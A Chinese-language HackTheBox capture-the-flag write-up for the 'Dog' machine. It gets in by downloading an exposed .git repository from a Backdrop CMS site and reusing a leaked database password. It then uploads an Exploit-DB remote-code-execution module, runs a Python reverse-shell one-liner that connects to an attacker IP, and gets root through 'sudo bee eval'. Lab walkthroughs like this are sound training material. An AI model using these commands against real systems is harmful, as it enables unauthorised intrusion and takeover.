HackTheBox [Dog] WriteUp

GetShell

扫描端口发现就开了 22 和 80 两个,22 端口不允许密码登录。

访问 HTTP ,识别网站指纹为 BackDrop CMS 。扫描目录,发现存在 Git 泄露,使用 GitHack 把源码下载下来。

python GitHack.py http://10.10.11.58/.git

查看 git 提交历史没发现什么东西,但是源码中有一处明文密码,在 settings.php 文件中。

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';

可以拿这个密码去和网站用户撞库,查看网站历史发布的文章,只找到了 dogBackDropSystem 这一个用户,但密码不正确。

继续从源码中收集信息,用户名还可能出现在邮箱中,所以可以用 grep 查询。

grep -i "dog.htb" -R .
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"
./.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000  commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000     commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases

又找到了一个用户名 tiffany ,结合之前找到的密码 BackDropJ2024DS2024 成功登录了管理后台,剩下就是后台 GetShell 了。

Exploit-DB 里找到了一个 RCE 漏洞,使用 POC 生成的 zip 压缩包,到 http://10.10.11.58/?q=admin/modules/install 上传,发现不支持 zip 格式,将 POC 生成的 shell 文件夹用 tar 压缩,然后改为到 http://10.10.11.58/?q=admin/installer/manual 手动上传。

发现上传成功,访问 http://10.10.11.58/modules/shell/shell.php 发现可以成功 RCE ,但是似乎一两分钟就会被清掉。

在本地用 nc 监听一个端口。

nc -lv 9443

然后在上传的 shell.php 中使用 python 反弹 shell 。

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.45',9443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

反弹成功,此时获取到的 shell 用户为 www-data ,查看 /etc/passwd ,发现有两个用户 jobertjohncusack 。使用之前的密码 BackDropJ2024DS2024 成功登上 johncusack 的账号,拿到了 user flag 。

cat /home/johncusack/user.txt

提权

使用 sudo -l 查询 johncusack 用户可执行的特权命令。

johncusack@dog:~$ sudo -l
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

发现有个 bee 命令,查看 help ,发现可以直接执行 bee eval 命令执行 PHP 代码。

johncusack@dog:~$ bee help eval
eval, ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

Arguments:
 code
 The PHP code to evaluate.

Examples:
 bee eval '$node = node_load(1); print $node->title;'
 Loads node with nid 1 and then prints its title.

 bee eval "node_access_rebuild();"
 Rebuild node access permissions.

 bee eval "file_unmanaged_copy('$HOME/Pictures/image.jpg', 'public://image.jpg');"
 Copies a file whose path is determined by an environment's variable. Note the use of double quotes so the variable $HOME gets replaced by its value.

但是直接使用 eval 参数是不行的。

johncusack@dog:~$ sudo bee eval "system('/bin/bash');"
sudo bee eval "system('/bin/bash');"

tput: unknown terminal "unknown"
tput: unknown terminal "unknown"
 ✘  The required bootstrap level for 'eval' is not ready.

参考 这篇文章 发现需要带上 --root 参数指定网站根目录。

sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash');"

成功获取 root shell 。

cat /root/root.txt

评论